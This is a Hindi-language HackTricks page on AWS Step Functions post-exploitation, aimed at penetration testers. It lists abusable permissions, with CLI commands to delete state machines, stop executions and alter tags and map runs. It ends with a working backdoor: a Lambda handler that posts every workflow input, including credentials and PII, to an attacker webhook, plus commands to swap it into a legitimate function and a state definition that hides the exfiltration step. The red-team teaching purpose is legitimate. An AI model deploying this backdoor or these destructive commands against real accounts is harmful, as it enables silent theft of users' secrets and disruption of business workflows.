AWS - Step Functions Post Exploitation

Reading time: 7 minutes

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें

Step Functions

इस AWS सेवा के बारे में अधिक जानकारी के लिए, देखें:

AWS - Step Functions Enum

states:RevealSecrets

यह अनुमति एक निष्पादन के अंदर गुप्त डेटा को प्रकट करने की अनुमति देती है। इसके लिए, निरीक्षण स्तर को TRACE पर सेट करना और revealSecrets पैरामीटर को true पर सेट करना आवश्यक है।

states:DeleteStateMachine, states:DeleteStateMachineVersion, states:DeleteStateMachineAlias

इन अनुमतियों के साथ एक हमलावर स्थायी रूप से राज्य मशीनों, उनके संस्करणों और उपनामों को हटा सकता है। इससे महत्वपूर्ण कार्यप्रवाह बाधित हो सकते हैं, डेटा हानि हो सकती है, और प्रभावित राज्य मशीनों को पुनर्प्राप्त करने और बहाल करने में महत्वपूर्ण समय लग सकता है। इसके अलावा, यह एक हमलावर को उपयोग किए गए निशान को छिपाने, फोरेंसिक जांचों को बाधित करने, और आवश्यक स्वचालन प्रक्रियाओं और राज्य कॉन्फ़िगरेशन को हटाकर संचालन को संभावित रूप से कमजोर करने की अनुमति देगा।

note

  • एक राज्य मशीन को हटाने पर आप इसके सभी संबंधित संस्करणों और उपनामों को भी हटा देते हैं।
  • एक राज्य मशीन उपनाम को हटाने पर आप इस उपनाम को संदर्भित करने वाले राज्य मशीन संस्करणों को नहीं हटाते हैं।
  • एक राज्य मशीन संस्करण को हटाना संभव नहीं है जो वर्तमान में एक या अधिक उपनामों द्वारा संदर्भित है।
bash
# Delete state machine
aws stepfunctions delete-state-machine --state-machine-arn <value>
# Delete state machine version
aws stepfunctions delete-state-machine-version --state-machine-version-arn <value>
# Delete state machine alias
aws stepfunctions delete-state-machine-alias --state-machine-alias-arn <value>
  • संभावित प्रभाव: महत्वपूर्ण कार्यप्रवाहों में बाधा, डेटा हानि, और संचालन में रुकावट।

states:UpdateMapRun

इस अनुमति के साथ एक हमलावर Map Run विफलता कॉन्फ़िगरेशन और समानांतर सेटिंग को हेरफेर कर सकता है, अधिकतम संख्या को बढ़ाने या घटाने में सक्षम हो सकता है जो बाल कार्यप्रवाह निष्पादन की अनुमति है, जो सेवा के प्रदर्शन को सीधे प्रभावित करता है। इसके अलावा, एक हमलावर सहनशील विफलता प्रतिशत और गणना के साथ छेड़छाड़ कर सकता है, इस मान को 0 तक घटाने में सक्षम हो सकता है ताकि हर बार जब एक आइटम विफल होता है, तो पूरा मैप रन विफल हो जाए, जो राज्य मशीन निष्पादन को सीधे प्रभावित करता है और संभावित रूप से महत्वपूर्ण कार्यप्रवाहों में बाधा डालता है।

bash
aws stepfunctions update-map-run --map-run-arn <value> [--max-concurrency <value>] [--tolerated-failure-percentage <value>] [--tolerated-failure-count <value>]
  • संभावित प्रभाव: प्रदर्शन में कमी, और महत्वपूर्ण कार्यप्रवाहों में बाधा।

states:StopExecution

इस अनुमति के साथ एक हमलावर किसी भी राज्य मशीन के निष्पादन को रोकने में सक्षम हो सकता है, जो चल रहे कार्यप्रवाहों और प्रक्रियाओं में बाधा डालता है। इससे अधूरे लेनदेन, रुके हुए व्यावसायिक संचालन, और संभावित डेटा भ्रष्टाचार हो सकता है।

warning

यह क्रिया express state machines द्वारा समर्थित नहीं है।

bash
aws stepfunctions stop-execution --execution-arn <value> [--error <value>] [--cause <value>]
  • संभावित प्रभाव: चल रहे कार्यप्रवाहों में बाधा, संचालन में डाउनटाइम, और संभावित डेटा भ्रष्टाचार।

states:TagResource, states:UntagResource

एक हमलावर Step Functions संसाधनों से टैग जोड़, संशोधित, या हटा सकता है, जिससे आपकी संगठन की लागत आवंटन, संसाधन ट्रैकिंग, और टैग के आधार पर पहुंच नियंत्रण नीतियों में बाधा उत्पन्न हो सकती है।

bash
aws stepfunctions tag-resource --resource-arn <value> --tags Key=<key>,Value=<value>
aws stepfunctions untag-resource --resource-arn <value> --tag-keys <key>

संभावित प्रभाव: लागत आवंटन, संसाधन ट्रैकिंग, और टैग-आधारित पहुंच नियंत्रण नीतियों में विघटन।


states:UpdateStateMachine, lambda:UpdateFunctionCode

एक हमलावर जो निम्नलिखित अनुमतियों के साथ एक उपयोगकर्ता या भूमिका को समझौता करता है:

json
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "AllowUpdateStateMachine",
"Effect": "Allow",
"Action": "states:UpdateStateMachine",
"Resource": "*"
},
{
"Sid": "AllowUpdateFunctionCode",
"Effect": "Allow",
"Action": "lambda:UpdateFunctionCode",
"Resource": "*"
}
]
}

...एक उच्च-प्रभाव और छिपा हुआ पोस्ट-एक्सप्लॉइटेशन हमला कर सकता है, जिसमें Lambda बैकडोरिंग को Step Function लॉजिक हेरफेर के साथ जोड़ा जाता है।

यह परिदृश्य मानता है कि पीड़ित संवेदनशील इनपुट, जैसे क्रेडेंशियल्स, टोकन, या PII को प्रोसेस करने के लिए AWS Step Functions का उपयोग करता है।

उदाहरण पीड़ित इनवोकेशन:

bash
aws stepfunctions start-execution \
--state-machine-arn arn:aws:states:us-east-1:<victim-account-id>:stateMachine:LegitStateMachine \
--input '{"email": "victim@example.com", "password": "hunter2"}' --profile victim

यदि Step Function को LegitBusinessLogic जैसे Lambda को सक्रिय करने के लिए कॉन्फ़िगर किया गया है, तो हमलावर दो छिपे हुए हमले के रूपों के साथ आगे बढ़ सकता है:


Lambda फ़ंक्शन को अपडेट किया गया

हमलावर Step Function द्वारा पहले से उपयोग किए जा रहे Lambda फ़ंक्शन (LegitBusinessLogic) के कोड को चुपचाप इनपुट डेटा को निकालने के लिए संशोधित करता है।

python
# send_to_attacker.py
import requests

def lambda_handler(event, context):
requests.post("https://webhook.site/<attacker-id>/exfil", json=event)
return {"status": "exfiltrated"}
bash
zip function.zip send_to_attacker.py

aws lambda update-function-code \
--function-name LegitBusinessLogic \
--zip-file fileb://function.zip -profile attacker

Step Function में एक दुर्भावनापूर्ण स्थिति जोड़ें

वैकल्पिक रूप से, हमलावर कार्यप्रवाह की शुरुआत में exfiltration state को Step Function परिभाषा को अपडेट करके इंजेक्ट कर सकता है।

malicious_state_definition.json
{
"Comment": "Backdoored for Exfiltration",
"StartAt": "OriginalState",
"States": {
"OriginalState": {
"Type": "Task",
"Resource": "arn:aws:lambda:us-east-1:<victim-id>:function:LegitBusinessLogic",
"End": true
}
}
}

bash
aws stepfunctions update-state-machine \
--state-machine-arn arn:aws:states:us-east-1:<victim-id>:stateMachine:LegitStateMachine \
--definition file://malicious_state_definition.json --profile attacker

हमलावर स्थिति परिभाषा को इस तरह से अपडेट करने के लिए और भी अधिक छिपा हुआ हो सकता है { "Comment": "Backdoored for Exfiltration", "StartAt": "ExfiltrateSecrets", "States": { "ExfiltrateSecrets": { "Type": "Task", "Resource": "arn:aws:lambda:us-east-1:victim-id:function:SendToAttacker", "InputPath": "$", "ResultPath": "$.exfil", "Next": "OriginalState" }, "OriginalState": { "Type": "Task", "Resource": "arn:aws:lambda:us-east-1:victim-id:function:LegitBusinessLogic", "End": true } } } जहाँ पीड़ित को अंतर का एहसास नहीं होगा


पीड़ित सेटअप (शोषण के लिए संदर्भ)

  • एक स्टेप फ़ंक्शन (LegitStateMachine) संवेदनशील उपयोगकर्ता इनपुट को संसाधित करने के लिए उपयोग किया जाता है।
  • यह एक या एक से अधिक लैम्ब्डा फ़ंक्शंस जैसे LegitBusinessLogic को कॉल करता है।

संभावित प्रभाव:

  • संवेदनशील डेटा जैसे रहस्य, क्रेडेंशियल्स, एपीआई कुंजी, और PII का चुपचाप निकासी।
  • कार्यप्रवाह निष्पादन में कोई दृश्य त्रुटियाँ या विफलताएँ नहीं।
  • लैम्ब्डा कोड या निष्पादन ट्रेस का ऑडिट किए बिना पता लगाना कठिन।
  • यदि बैकडोर कोड या ASL लॉजिक में बना रहता है तो दीर्घकालिक स्थिरता सक्षम करता है।

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें